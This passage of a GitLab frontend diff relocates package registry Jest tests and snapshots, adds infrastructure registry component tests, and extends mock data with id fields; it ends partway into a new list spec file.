+ expect(getNewPaginationPage(2, 20, 20)).toBe(1);
+ });
+
+ it('returns the first page when totalItems is lower than or equal to perPage', () => {
+ expect(getNewPaginationPage(4, 20, 20)).toBe(1);
+ });
+
+ describe('works when a different perPage is used', () => {
+ it('returns the current page', () => {
+ expect(getNewPaginationPage(2, 10, 11)).toBe(2);
+ });
+
+ it('returns the previous page', () => {
+ expect(getNewPaginationPage(2, 10, 10)).toBe(1);
+ });
+ });
+
+ describe.each`
+ currentPage | totalItems | expectedResult
+ ${1} | ${20} | ${1}
+ ${2} | ${20} | ${1}
+ ${3} | ${40} | ${2}
+ ${4} | ${60} | ${3}
+ `(`works across numerious pages`, ({ currentPage, totalItems, expectedResult }) => {
+ it(`when currentPage is ${currentPage} return to the previous page ${expectedResult}`, () => {
+ expect(getNewPaginationPage(currentPage, 20, totalItems)).toBe(expectedResult);
+ });
+ });
+ });
+});
diff --git a/spec/frontend/packages/mock_data.js b/spec/frontend/packages_and_registries/infrastructure_registry/components/mock_data.js
index 33b47cca68b..33b47cca68b 100644
--- a/spec/frontend/packages/mock_data.js
+++ b/spec/frontend/packages_and_registries/infrastructure_registry/components/mock_data.js
diff --git a/spec/frontend/packages_and_registries/infrastructure_registry/components/shared/__snapshots__/package_list_row_spec.js.snap b/spec/frontend/packages_and_registries/infrastructure_registry/components/shared/__snapshots__/package_list_row_spec.js.snap
new file mode 100644
index 00000000000..67c3b8b795a
--- /dev/null
+++ b/spec/frontend/packages_and_registries/infrastructure_registry/components/shared/__snapshots__/package_list_row_spec.js.snap
@@ -0,0 +1,118 @@
+// Jest Snapshot v1, https://goo.gl/fbAQLP
+
+exports[`packages_list_row renders 1`] = `
+<div
+ class="gl-display-flex gl-flex-direction-column gl-border-b-solid gl-border-t-solid gl-border-t-1 gl-border-b-1 gl-border-t-transparent gl-border-b-gray-100"
+ data-qa-selector="package_row"
+>
+ <div
+ class="gl-display-flex gl-align-items-center gl-py-3"
+ >
+ <!---->
+
+ <div
+ class="gl-display-flex gl-xs-flex-direction-column gl-justify-content-space-between gl-align-items-stretch gl-flex-grow-1"
+ >
+ <div
+ class="gl-display-flex gl-flex-direction-column gl-xs-mb-3 gl-min-w-0 gl-flex-grow-1"
+ >
+ <div
+ class="gl-display-flex gl-align-items-center gl-text-body gl-font-weight-bold gl-min-h-6 gl-min-w-0"
+ >
+ <div
+ class="gl-display-flex gl-align-items-center gl-mr-3 gl-min-w-0"
+ >
+ <gl-link-stub
+ class="gl-text-body gl-min-w-0"
+ data-qa-selector="package_link"
+ href="foo"
+ >
+ <gl-truncate-stub
+ position="end"
+ text="Test package"
+ />
+ </gl-link-stub>
+
+ <!---->
+
+ <!---->
+ </div>
+
+ <!---->
+ </div>
+
+ <div
+ class="gl-display-flex gl-align-items-center gl-text-gray-500 gl-min-h-6 gl-min-w-0 gl-flex-grow-1"
+ >
+ <div
+ class="gl-display-flex"
+ >
+ <span>
+ 1.0.0
+ </span>
+
+ <!---->
+
+ <div />
+
+ <package-path-stub
+ path="foo/bar/baz"
+ />
+ </div>
+ </div>
+ </div>
+
+ <div
+ class="gl-display-flex gl-flex-direction-column gl-sm-align-items-flex-end gl-justify-content-space-between gl-text-gray-500 gl-flex-shrink-0"
+ >
+ <div
+ class="gl-display-flex gl-align-items-center gl-sm-text-body gl-sm-font-weight-bold gl-min-h-6"
+ >
+ <publish-method-stub
+ packageentity="[object Object]"
+ />
+ </div>
+
+ <div
+ class="gl-display-flex gl-align-items-center gl-min-h-6"
+ >
+ <span>
+ <gl-sprintf-stub
+ message="Created %{timestamp}"
+ />
+ </span>
+ </div>
+ </div>
+ </div>
+
+ <div
+ class="gl-w-9 gl-display-flex gl-justify-content-end gl-pr-1"
+ >
+ <gl-button-stub
+ aria-label="Remove package"
+ buttontextclasses=""
+ category="secondary"
+ data-testid="action-delete"
+ icon="remove"
+ size="medium"
+ title="Remove package"
+ variant="danger"
+ />
+ </div>
+ </div>
+
+ <div
+ class="gl-display-flex"
+ >
+ <div
+ class="gl-w-7"
+ />
+
+ <!---->
+
+ <div
+ class="gl-w-9"
+ />
+ </div>
+</div>
+`;
diff --git a/spec/frontend/packages_and_registries/infrastructure_registry/components/shared/infrastructure_icon_and_name_spec.js b/spec/frontend/packages_and_registries/infrastructure_registry/components/shared/infrastructure_icon_and_name_spec.js
new file mode 100644
index 00000000000..abb0d23b6e4
--- /dev/null
+++ b/spec/frontend/packages_and_registries/infrastructure_registry/components/shared/infrastructure_icon_and_name_spec.js
@@ -0,0 +1,28 @@
+import { GlIcon } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import InfrastructureIconAndName from '~/packages_and_registries/infrastructure_registry/shared/infrastructure_icon_and_name.vue';
+
+describe('InfrastructureIconAndName', () => {
+ let wrapper;
+
+ const findIcon = () => wrapper.find(GlIcon);
+
+ const mountComponent = () => {
+ wrapper = shallowMount(InfrastructureIconAndName, {});
+ };
+
+ it('has an icon', () => {
+ mountComponent();
+
+ const icon = findIcon();
+
+ expect(icon.exists()).toBe(true);
+ expect(icon.props('name')).toBe('infrastructure-registry');
+ });
+
+ it('has the type fixed to terraform', () => {
+ mountComponent();
+
+ expect(wrapper.text()).toBe('Terraform');
+ });
+});
diff --git a/spec/frontend/packages_and_registries/infrastructure_registry/components/shared/package_list_row_spec.js b/spec/frontend/packages_and_registries/infrastructure_registry/components/shared/package_list_row_spec.js
new file mode 100644
index 00000000000..1052fdd1dda
--- /dev/null
+++ b/spec/frontend/packages_and_registries/infrastructure_registry/components/shared/package_list_row_spec.js
@@ -0,0 +1,161 @@
+import { GlLink } from '@gitlab/ui';
+import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
+import { createMockDirective, getBinding } from 'helpers/vue_mock_directive';
+
+import PackagesListRow from '~/packages_and_registries/infrastructure_registry/shared/package_list_row.vue';
+import PackagePath from '~/packages_and_registries/shared/components/package_path.vue';
+import PackageTags from '~/packages_and_registries/shared/components/package_tags.vue';
+import { PACKAGE_ERROR_STATUS } from '~/packages_and_registries/shared/constants';
+
+import ListItem from '~/vue_shared/components/registry/list_item.vue';
+import { packageList } from '../mock_data';
+
+describe('packages_list_row', () => {
+ let wrapper;
+ let store;
+
+ const [packageWithoutTags, packageWithTags] = packageList;
+
+ const InfrastructureIconAndName = { name: 'InfrastructureIconAndName', template: '<div></div>' };
+
+ const findPackageTags = () => wrapper.findComponent(PackageTags);
+ const findPackagePath = () => wrapper.findComponent(PackagePath);
+ const findDeleteButton = () => wrapper.findByTestId('action-delete');
+ const findInfrastructureIconAndName = () => wrapper.findComponent(InfrastructureIconAndName);
+ const findListItem = () => wrapper.findComponent(ListItem);
+ const findPackageLink = () => wrapper.findComponent(GlLink);
+ const findWarningIcon = () => wrapper.findByTestId('warning-icon');
+
+ const mountComponent = ({
+ isGroup = false,
+ packageEntity = packageWithoutTags,
+ showPackageType = true,
+ disableDelete = false,
+ provide,
+ } = {}) => {
+ wrapper = shallowMountExtended(PackagesListRow, {
+ store,
+ provide,
+ stubs: {
+ ListItem,
+ InfrastructureIconAndName,
+ },
+ propsData: {
+ packageLink: 'foo',
+ packageEntity,
+ isGroup,
+ showPackageType,
+ disableDelete,
+ },
+ directives: {
+ GlTooltip: createMockDirective(),
+ },
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ it('renders', () => {
+ mountComponent();
+ expect(wrapper.element).toMatchSnapshot();
+ });
+
+ describe('tags', () => {
+ it('renders package tags when a package has tags', () => {
+ mountComponent({ isGroup: false, packageEntity: packageWithTags });
+
+ expect(findPackageTags().exists()).toBe(true);
+ });
+
+ it('does not render when there are no tags', () => {
+ mountComponent();
+
+ expect(findPackageTags().exists()).toBe(false);
+ });
+ });
+
+ describe('when is is group', () => {
+ it('has a package path component', () => {
+ mountComponent({ isGroup: true });
+
+ expect(findPackagePath().exists()).toBe(true);
+ expect(findPackagePath().props()).toMatchObject({ path: 'foo/bar/baz' });
+ });
+ });
+
+ describe('showPackageType', () => {
+ it('shows the type when set', () => {
+ mountComponent();
+
+ expect(findInfrastructureIconAndName().exists()).toBe(true);
+ });
+
+ it('does not show the type when not set', () => {
+ mountComponent({ showPackageType: false });
+
+ expect(findInfrastructureIconAndName().exists()).toBe(false);
+ });
+ });
+
+ describe('deleteAvailable', () => {
+ it('does not show when not set', () => {
+ mountComponent({ disableDelete: true });
+
+ expect(findDeleteButton().exists()).toBe(false);
+ });
+ });
+
+ describe('delete button', () => {
+ it('exists and has the correct props', () => {
+ mountComponent({ packageEntity: packageWithoutTags });
+
+ expect(findDeleteButton().exists()).toBe(true);
+ expect(findDeleteButton().attributes()).toMatchObject({
+ icon: 'remove',
+ category: 'secondary',
+ variant: 'danger',
+ title: 'Remove package',
+ });
+ });
+
+ it('emits the packageToDelete event when the delete button is clicked', async () => {
+ mountComponent({ packageEntity: packageWithoutTags });
+
+ findDeleteButton().vm.$emit('click');
+
+ await wrapper.vm.$nextTick();
+ expect(wrapper.emitted('packageToDelete')).toBeTruthy();
+ expect(wrapper.emitted('packageToDelete')[0]).toEqual([packageWithoutTags]);
+ });
+ });
+
+ describe(`when the package is in ${PACKAGE_ERROR_STATUS} status`, () => {
+ beforeEach(() => {
+ mountComponent({ packageEntity: { ...packageWithoutTags, status: PACKAGE_ERROR_STATUS } });
+ });
+
+ it('list item has a disabled prop', () => {
+ expect(findListItem().props('disabled')).toBe(true);
+ });
+
+ it('details link is disabled', () => {
+ expect(findPackageLink().attributes('disabled')).toBe('true');
+ });
+
+ it('has a warning icon', () => {
+ const icon = findWarningIcon();
+ const tooltip = getBinding(icon.element, 'gl-tooltip');
+ expect(icon.props('icon')).toBe('warning');
+ expect(tooltip.value).toMatchObject({
+ title: 'Invalid Package: failed metadata extraction',
+ });
+ });
+
+ it('delete button is disabled', () => {
+ expect(findDeleteButton().props('disabled')).toBe(true);
+ });
+ });
+});
diff --git a/spec/frontend/packages_and_registries/package_registry/components/details/__snapshots__/version_row_spec.js.snap b/spec/frontend/packages_and_registries/package_registry/components/details/__snapshots__/version_row_spec.js.snap
index c95538546c1..7aa42a1f1e5 100644
--- a/spec/frontend/packages_and_registries/package_registry/components/details/__snapshots__/version_row_spec.js.snap
+++ b/spec/frontend/packages_and_registries/package_registry/components/details/__snapshots__/version_row_spec.js.snap
@@ -5,7 +5,7 @@ exports[`VersionRow renders 1`] = `
class="gl-display-flex gl-flex-direction-column gl-border-b-solid gl-border-t-solid gl-border-t-1 gl-border-b-1 gl-border-t-transparent gl-border-b-gray-100"
>
<div
- class="gl-display-flex gl-align-items-center gl-py-3 gl-px-5"
+ class="gl-display-flex gl-align-items-center gl-py-3"
>
<!---->
diff --git a/spec/frontend/packages_and_registries/package_registry/components/details/package_title_spec.js b/spec/frontend/packages_and_registries/package_registry/components/details/package_title_spec.js
index d59c3184e4e..6ad6007c9da 100644
--- a/spec/frontend/packages_and_registries/package_registry/components/details/package_title_spec.js
+++ b/spec/frontend/packages_and_registries/package_registry/components/details/package_title_spec.js
@@ -2,7 +2,7 @@ import { GlIcon, GlSprintf } from '@gitlab/ui';
import { GlBreakpointInstance } from '@gitlab/ui/dist/utils';
import { createMockDirective, getBinding } from 'helpers/vue_mock_directive';
import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
-import PackageTags from '~/packages/shared/components/package_tags.vue';
+import PackageTags from '~/packages_and_registries/shared/components/package_tags.vue';
import PackageTitle from '~/packages_and_registries/package_registry/components/details/package_title.vue';
import {
PACKAGE_TYPE_CONAN,
diff --git a/spec/frontend/packages_and_registries/package_registry/components/details/version_row_spec.js b/spec/frontend/packages_and_registries/package_registry/components/details/version_row_spec.js
index f7613949fe4..faeca76d746 100644
--- a/spec/frontend/packages_and_registries/package_registry/components/details/version_row_spec.js
+++ b/spec/frontend/packages_and_registries/package_registry/components/details/version_row_spec.js
@@ -1,8 +1,8 @@
import { GlLink, GlSprintf, GlTruncate } from '@gitlab/ui';
import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
import { getIdFromGraphQLId } from '~/graphql_shared/utils';
-import PackageTags from '~/packages/shared/components/package_tags.vue';
-import PublishMethod from '~/packages/shared/components/publish_method.vue';
+import PackageTags from '~/packages_and_registries/shared/components/package_tags.vue';
+import PublishMethod from '~/packages_and_registries/shared/components/publish_method.vue';
import VersionRow from '~/packages_and_registries/package_registry/components/details/version_row.vue';
import ListItem from '~/vue_shared/components/registry/list_item.vue';
import TimeAgoTooltip from '~/vue_shared/components/time_ago_tooltip.vue';
diff --git a/spec/frontend/packages_and_registries/package_registry/components/list/__snapshots__/app_spec.js.snap b/spec/frontend/packages_and_registries/package_registry/components/list/__snapshots__/app_spec.js.snap
deleted file mode 100644
index 5af75868084..00000000000
--- a/spec/frontend/packages_and_registries/package_registry/components/list/__snapshots__/app_spec.js.snap
+++ /dev/null
@@ -1,69 +0,0 @@
-// Jest Snapshot v1, https://goo.gl/fbAQLP
-
-exports[`PackagesListApp renders 1`] = `
-<div>
- <package-title-stub
- count="2"
- helpurl="packageHelpUrl"
- />
-
- <package-search-stub />
-
- <div>
- <section
- class="row empty-state text-center"
- >
- <div
- class="col-12"
- >
- <div
- class="svg-250 svg-content"
- >
- <img
- alt=""
- class="gl-max-w-full"
- role="img"
- src="emptyListIllustration"
- />
- </div>
- </div>
-
- <div
- class="col-12"
- >
- <div
- class="text-content gl-mx-auto gl-my-0 gl-p-5"
- >
- <h1
- class="h4"
- >
- There are no packages yet
- </h1>
-
- <p>
- Learn how to
- <b-link-stub
- class="gl-link"
- event="click"
- href="emptyListHelpUrl"
- routertag="a"
- target="_blank"
- >
- publish and share your packages
- </b-link-stub>
- with GitLab.
- </p>
-
- <div
- class="gl-display-flex gl-flex-wrap gl-justify-content-center"
- >
- <!---->
-
- <!---->
- </div>
- </div>
- </div>
- </section>
- </div>
-</div>
-`;
diff --git a/spec/frontend/packages_and_registries/package_registry/components/list/__snapshots__/package_list_row_spec.js.snap b/spec/frontend/packages_and_registries/package_registry/components/list/__snapshots__/package_list_row_spec.js.snap
index 2f2be797251..165ee962417 100644
--- a/spec/frontend/packages_and_registries/package_registry/components/list/__snapshots__/package_list_row_spec.js.snap
+++ b/spec/frontend/packages_and_registries/package_registry/components/list/__snapshots__/package_list_row_spec.js.snap
@@ -6,7 +6,7 @@ exports[`packages_list_row renders 1`] = `
data-qa-selector="package_row"
>
<div
- class="gl-display-flex gl-align-items-center gl-py-3 gl-px-5"
+ class="gl-display-flex gl-align-items-center gl-py-3"
>
<!---->
@@ -77,7 +77,9 @@ exports[`packages_list_row renders 1`] = `
<div
class="gl-display-flex gl-align-items-center gl-min-h-6"
>
- <span>
+ <span
+ data-testid="created-date"
+ >
Created
<timeago-tooltip-stub
cssclass=""
@@ -90,7 +92,7 @@ exports[`packages_list_row renders 1`] = `
</div>
<div
- class="gl-w-9 gl-display-none gl-sm-display-flex gl-justify-content-end gl-pr-1"
+ class="gl-w-9 gl-display-flex gl-justify-content-end gl-pr-1"
>
<gl-button-stub
aria-label="Remove package"
diff --git a/spec/frontend/packages_and_registries/package_registry/components/list/__snapshots__/publish_method_spec.js.snap b/spec/frontend/packages_and_registries/package_registry/components/list/__snapshots__/publish_method_spec.js.snap
index 919dbe25ffe..4407c4a2003 100644
--- a/spec/frontend/packages_and_registries/package_registry/components/list/__snapshots__/publish_method_spec.js.snap
+++ b/spec/frontend/packages_and_registries/package_registry/components/list/__snapshots__/publish_method_spec.js.snap
@@ -37,6 +37,7 @@ exports[`publish_method renders 1`] = `
text="b83d6e391c22777fca1ed3012fce84f633d7fed0"
title="Copy commit SHA"
tooltipplacement="top"
+ variant="default"
/>
</div>
`;
diff --git a/spec/frontend/packages_and_registries/package_registry/components/list/app_spec.js b/spec/frontend/packages_and_registries/package_registry/components/list/app_spec.js
deleted file mode 100644
index ad848f367e0..00000000000
--- a/spec/frontend/packages_and_registries/package_registry/components/list/app_spec.js
+++ /dev/null
@@ -1,282 +0,0 @@
-import { GlEmptyState, GlSprintf, GlLink } from '@gitlab/ui';
-import { createLocalVue } from '@vue/test-utils';
-
-import VueApollo from 'vue-apollo';
-import { nextTick } from 'vue';
-import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
-import createMockApollo from 'helpers/mock_apollo_helper';
-import waitForPromises from 'helpers/wait_for_promises';
-import PackageListApp from '~/packages_and_registries/package_registry/components/list/app.vue';
-import PackageTitle from '~/packages_and_registries/package_registry/components/list/package_title.vue';
-import PackageSearch from '~/packages_and_registries/package_registry/components/list/package_search.vue';
-import OriginalPackageList from '~/packages_and_registries/package_registry/components/list/packages_list.vue';
-import DeletePackage from '~/packages_and_registries/package_registry/components/functional/delete_package.vue';
-
-import {
- PROJECT_RESOURCE_TYPE,
- GROUP_RESOURCE_TYPE,
- GRAPHQL_PAGE_SIZE,
-} from '~/packages_and_registries/package_registry/constants';
-
-import getPackagesQuery from '~/packages_and_registries/package_registry/graphql/queries/get_packages.query.graphql';
-
-import { packagesListQuery, packageData, pagination } from '../../mock_data';
-
-jest.mock('~/lib/utils/common_utils');
-jest.mock('~/flash');
-
-const localVue = createLocalVue();
-
-describe('PackagesListApp', () => {
- let wrapper;
- let apolloProvider;
-
- const defaultProvide = {
- packageHelpUrl: 'packageHelpUrl',
- emptyListIllustration: 'emptyListIllustration',
- emptyListHelpUrl: 'emptyListHelpUrl',
- isGroupPage: true,
- fullPath: 'gitlab-org',
- };
-
- const PackageList = {
- name: 'package-list',
- template: '<div><slot name="empty-state"></slot></div>',
- props: OriginalPackageList.props,
- };
- const GlLoadingIcon = { name: 'gl-loading-icon', template: '<div>loading</div>' };
-
- const searchPayload = {
- sort: 'VERSION_DESC',
- filters: { packageName: 'foo', packageType: 'CONAN' },
- };
-
- const findPackageTitle = () => wrapper.findComponent(PackageTitle);
- const findSearch = () => wrapper.findComponent(PackageSearch);
- const findListComponent = () => wrapper.findComponent(PackageList);
- const findEmptyState = () => wrapper.findComponent(GlEmptyState);
- const findDeletePackage = () => wrapper.findComponent(DeletePackage);
-
- const mountComponent = ({
- resolver = jest.fn().mockResolvedValue(packagesListQuery()),
- provide = defaultProvide,
- } = {}) => {
- localVue.use(VueApollo);
-
- const requestHandlers = [[getPackagesQuery, resolver]];
- apolloProvider = createMockApollo(requestHandlers);
-
- wrapper = shallowMountExtended(PackageListApp, {
- localVue,
- apolloProvider,
- provide,
- stubs: {
- GlEmptyState,
- GlLoadingIcon,
- GlSprintf,
- GlLink,
- PackageList,
- DeletePackage,
- },
- });
- };
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- const waitForFirstRequest = () => {
- // emit a search update so the query is executed
- findSearch().vm.$emit('update', { sort: 'NAME_DESC', filters: [] });
- return waitForPromises();
- };
-
- it('does not execute the query without sort being set', () => {
- const resolver = jest.fn().mockResolvedValue(packagesListQuery());
-
- mountComponent({ resolver });
-
- expect(resolver).not.toHaveBeenCalled();
- });
-
- it('renders', async () => {
- mountComponent();
-
- await waitForFirstRequest();
-
- expect(wrapper.element).toMatchSnapshot();
- });
-
- it('has a package title', async () => {
- mountComponent();
-
- await waitForFirstRequest();
-
- expect(findPackageTitle().exists()).toBe(true);
- expect(findPackageTitle().props('count')).toBe(2);
- });
-
- describe('search component', () => {
- it('exists', () => {
- mountComponent();
-
- expect(findSearch().exists()).toBe(true);
- });
-
- it('on update triggers a new query with updated values', async () => {
- const resolver = jest.fn().mockResolvedValue(packagesListQuery());
- mountComponent({ resolver });
-
- findSearch().vm.$emit('update', searchPayload);
-
- await waitForPromises();
-
- expect(resolver).toHaveBeenCalledWith(
- expect.objectContaining({
- groupSort: searchPayload.sort,
- ...searchPayload.filters,
- }),
- );
- });
- });
-
- describe('list component', () => {
- let resolver;
-
- beforeEach(() => {
- resolver = jest.fn().mockResolvedValue(packagesListQuery());
- mountComponent({ resolver });
-
- return waitForFirstRequest();
- });
-
- it('exists and has the right props', () => {
- expect(findListComponent().props()).toMatchObject({
- list: expect.arrayContaining([expect.objectContaining({ id: packageData().id })]),
- isLoading: false,
- pageInfo: expect.objectContaining({ endCursor: pagination().endCursor }),
- });
- });
-
- it('when list emits next-page fetches the next set of records', () => {
- findListComponent().vm.$emit('next-page');
-
- expect(resolver).toHaveBeenCalledWith(
- expect.objectContaining({ after: pagination().endCursor, first: GRAPHQL_PAGE_SIZE }),
- );
- });
-
- it('when list emits prev-page fetches the prev set of records', () => {
- findListComponent().vm.$emit('prev-page');
-
- expect(resolver).toHaveBeenCalledWith(
- expect.objectContaining({ before: pagination().startCursor, last: GRAPHQL_PAGE_SIZE }),
- );
- });
- });
-
- describe.each`
- type | sortType
- ${PROJECT_RESOURCE_TYPE} | ${'sort'}
- ${GROUP_RESOURCE_TYPE} | ${'groupSort'}
- `('$type query', ({ type, sortType }) => {
- let provide;
- let resolver;
-
- const isGroupPage = type === GROUP_RESOURCE_TYPE;
-
- beforeEach(() => {
- provide = { ...defaultProvide, isGroupPage };
- resolver = jest.fn().mockResolvedValue(packagesListQuery({ type }));
- mountComponent({ provide, resolver });
- return waitForFirstRequest();
- });
-
- it('succeeds', () => {
- expect(findPackageTitle().props('count')).toBe(2);
- });
-
- it('calls the resolver with the right parameters', () => {
- expect(resolver).toHaveBeenCalledWith(
- expect.objectContaining({ isGroupPage, [sortType]: 'NAME_DESC' }),
- );
- });
- });
-
- describe('empty state', () => {
- beforeEach(() => {
- const resolver = jest.fn().mockResolvedValue(packagesListQuery({ extend: { nodes: [] } }));
- mountComponent({ resolver });
-
- return waitForFirstRequest();
- });
- it('generate the correct empty list link', () => {
- const link = findListComponent().findComponent(GlLink);
-
- expect(link.attributes('href')).toBe(defaultProvide.emptyListHelpUrl);
- expect(link.text()).toBe('publish and share your packages');
- });
-
- it('includes the right content on the default tab', () => {
- expect(findEmptyState().text()).toContain(PackageListApp.i18n.emptyPageTitle);
- });
- });
-
- describe('filter without results', () => {
- beforeEach(async () => {
- mountComponent();
-
- await waitForFirstRequest();
-
- findSearch().vm.$emit('update', searchPayload);
-
- return nextTick();
- });
-
- it('should show specific empty message', () => {
- expect(findEmptyState().text()).toContain(PackageListApp.i18n.noResultsTitle);
- expect(findEmptyState().text()).toContain(PackageListApp.i18n.widenFilters);
- });
- });
-
- describe('delete package', () => {
- it('exists and has the correct props', async () => {
- mountComponent();
-
- await waitForFirstRequest();
-
- expect(findDeletePackage().props()).toMatchObject({
- refetchQueries: [{ query: getPackagesQuery, variables: {} }],
- showSuccessAlert: true,
- });
- });
-
- it('deletePackage is bound to package-list package:delete event', async () => {
- mountComponent();
-
- await waitForFirstRequest();
-
- findListComponent().vm.$emit('package:delete', { id: 1 });
-
- expect(findDeletePackage().emitted('start')).toEqual([[]]);
- });
-
- it('start and end event set loading correctly', async () => {
- mountComponent();
-
- await waitForFirstRequest();
-
- findDeletePackage().vm.$emit('start');
-
- await nextTick();
-
- expect(findListComponent().props('isLoading')).toBe(true);
-
- findDeletePackage().vm.$emit('end');
-
- await nextTick();
-
- expect(findListComponent().props('isLoading')).toBe(false);
- });
- });
-});
diff --git a/spec/frontend/packages_and_registries/package_registry/components/list/package_list_row_spec.js b/spec/frontend/packages_and_registries/package_registry/components/list/package_list_row_spec.js
index a276db104d7..292667ec47c 100644
--- a/spec/frontend/packages_and_registries/package_registry/components/list/package_list_row_spec.js
+++ b/spec/frontend/packages_and_registries/package_registry/components/list/package_list_row_spec.js
@@ -3,9 +3,11 @@ import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
import { createMockDirective, getBinding } from 'helpers/vue_mock_directive';
import PackagesListRow from '~/packages_and_registries/package_registry/components/list/package_list_row.vue';
-import PackagePath from '~/packages/shared/components/package_path.vue';
-import PackageTags from '~/packages/shared/components/package_tags.vue';
-import PackageIconAndName from '~/packages/shared/components/package_icon_and_name.vue';
+import PackagePath from '~/packages_and_registries/shared/components/package_path.vue';
+import PackageTags from '~/packages_and_registries/shared/components/package_tags.vue';
+import PackageIconAndName from '~/packages_and_registries/shared/components/package_icon_and_name.vue';
+import PublishMethod from '~/packages_and_registries/package_registry/components/list/publish_method.vue';
+import TimeagoTooltip from '~/vue_shared/components/time_ago_tooltip.vue';
import { PACKAGE_ERROR_STATUS } from '~/packages_and_registries/package_registry/constants';
import ListItem from '~/vue_shared/components/registry/list_item.vue';
@@ -29,6 +31,9 @@ describe('packages_list_row', () => {
const findPackageLink = () => wrapper.findComponent(GlLink);
const findWarningIcon = () => wrapper.findByTestId('warning-icon');
const findLeftSecondaryInfos = () => wrapper.findByTestId('left-secondary-infos');
+ const findPublishMethod = () => wrapper.findComponent(PublishMethod);
+ const findCreatedDateText = () => wrapper.findByTestId('created-date');
+ const findTimeAgoTooltip = () => wrapper.findComponent(TimeagoTooltip);
const mountComponent = ({
packageEntity = packageWithoutTags,
@@ -153,4 +158,23 @@ describe('packages_list_row', () => {
expect(findPackageIconAndName().text()).toBe(packageWithoutTags.packageType.toLowerCase());
});
});
+
+ describe('right info', () => {
+ it('has publish method component', () => {
+ mountComponent({
+ packageEntity: { ...packageWithoutTags, pipelines: { nodes: packagePipelines() } },
+ });
+
+ expect(findPublishMethod().props('pipeline')).toEqual(packagePipelines()[0]);
+ });
+
+ it('has the created date', () => {
+ mountComponent();
+
+ expect(findCreatedDateText().text()).toMatchInterpolatedText(PackagesListRow.i18n.createdAt);
+ expect(findTimeAgoTooltip().props()).toMatchObject({
+ time: packageData().createdAt,
+ });
+ });
+ });
});
diff --git a/spec/frontend/packages_and_registries/package_registry/components/list/packages_list_spec.js b/spec/frontend/packages_and_registries/package_registry/components/list/packages_list_spec.js
index de4e9c8ae5b..97978dee909 100644
--- a/spec/frontend/packages_and_registries/package_registry/components/list/packages_list_spec.js
+++ b/spec/frontend/packages_and_registries/package_registry/components/list/packages_list_spec.js
@@ -1,8 +1,8 @@
import { GlKeysetPagination, GlModal, GlSprintf } from '@gitlab/ui';
import { nextTick } from 'vue';
import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
-import PackagesListRow from '~/packages/shared/components/package_list_row.vue';
-import PackagesListLoader from '~/packages/shared/components/packages_list_loader.vue';
+import PackagesListRow from '~/packages_and_registries/package_registry/components/list/package_list_row.vue';
+import PackagesListLoader from '~/packages_and_registries/shared/components/packages_list_loader.vue';
import {
DELETE_PACKAGE_TRACKING_ACTION,
REQUEST_DELETE_PACKAGE_TRACKING_ACTION,
diff --git a/spec/frontend/packages_and_registries/package_registry/mock_data.js b/spec/frontend/packages_and_registries/package_registry/mock_data.js
index bacc748db81..4c23b52b8a2 100644
--- a/spec/frontend/packages_and_registries/package_registry/mock_data.js
+++ b/spec/frontend/packages_and_registries/package_registry/mock_data.js
@@ -16,11 +16,13 @@ export const packagePipelines = (extend) => [
ref: 'master',
sha: 'b83d6e391c22777fca1ed3012fce84f633d7fed0',
project: {
+ id: '1',
name: 'project14',
webUrl: 'http://gdk.test:3000/namespace14/project14',
__typename: 'Project',
},
user: {
+ id: 'user-1',
name: 'Administrator',
},
...extend,
@@ -89,6 +91,7 @@ export const dependencyLinks = () => [
];
export const packageProject = () => ({
+ id: '1',
fullPath: 'gitlab-org/gitlab-test',
webUrl: 'http://gdk.test:3000/gitlab-org/gitlab-test',
__typename: 'Project',
@@ -127,6 +130,7 @@ export const packageData = (extend) => ({
});
export const conanMetadata = () => ({
+ id: 'conan-1',
packageChannel: 'stable',
packageUsername: 'gitlab-org+gitlab-test',
recipe: 'package-8/1.0.0@gitlab-org+gitlab-test/stable',
@@ -179,6 +183,7 @@ export const packageDetailsQuery = (extendPackage) => ({
...nugetMetadata(),
},
project: {
+ id: '1',
path: 'projectPath',
},
tags: {
@@ -270,6 +275,7 @@ export const packageDestroyFileMutationError = () => ({
export const packagesListQuery = ({ type = 'group', extend = {}, extendPagination = {} } = {}) => ({
data: {
[type]: {
+ id: '1',
packages: {
count: 2,
nodes: [
diff --git a/spec/frontend/packages_and_registries/package_registry/pages/__snapshots__/list_spec.js.snap b/spec/frontend/packages_and_registries/package_registry/pages/__snapshots__/list_spec.js.snap
new file mode 100644
index 00000000000..dbe3c70c3cb
--- /dev/null
+++ b/spec/frontend/packages_and_registries/package_registry/pages/__snapshots__/list_spec.js.snap
@@ -0,0 +1,73 @@
+// Jest Snapshot v1, https://goo.gl/fbAQLP
+
+exports[`PackagesListApp renders 1`] = `
+<div>
+ <package-title-stub
+ count="2"
+ helpurl="/help/user/packages/index"
+ />
+
+ <package-search-stub />
+
+ <div>
+ <section
+ class="row empty-state text-center"
+ >
+ <div
+ class="col-12"
+ >
+ <div
+ class="svg-250 svg-content"
+ >
+ <img
+ alt=""
+ class="gl-max-w-full"
+ role="img"
+ src="emptyListIllustration"
+ />
+ </div>
+ </div>
+
+ <div
+ class="col-12"
+ >
+ <div
+ class="text-content gl-mx-auto gl-my-0 gl-p-5"
+ >
+ <h1
+ class="gl-font-size-h-display gl-line-height-36 h4"
+ >
+
+ There are no packages yet
+
+ </h1>
+
+ <p
+ class="gl-mt-3"
+ >
+ Learn how to
+ <b-link-stub
+ class="gl-link"
+ event="click"
+ href="/help/user/packages/package_registry/index"
+ routertag="a"
+ target="_blank"
+ >
+ publish and share your packages
+ </b-link-stub>
+ with GitLab.
+ </p>
+
+ <div
+ class="gl-display-flex gl-flex-wrap gl-justify-content-center"
+ >
+ <!---->
+
+ <!---->
+ </div>
+ </div>
+ </div>
+ </section>
+ </div>
+</div>
+`;
diff --git a/spec/frontend/packages_and_registries/package_registry/pages/list_spec.js b/spec/frontend/packages_and_registries/package_registry/pages/list_spec.js
new file mode 100644
index 00000000000..2ac2a6455ef
--- /dev/null
+++ b/spec/frontend/packages_and_registries/package_registry/pages/list_spec.js
@@ -0,0 +1,285 @@
+import { GlEmptyState, GlSprintf, GlLink } from '@gitlab/ui';
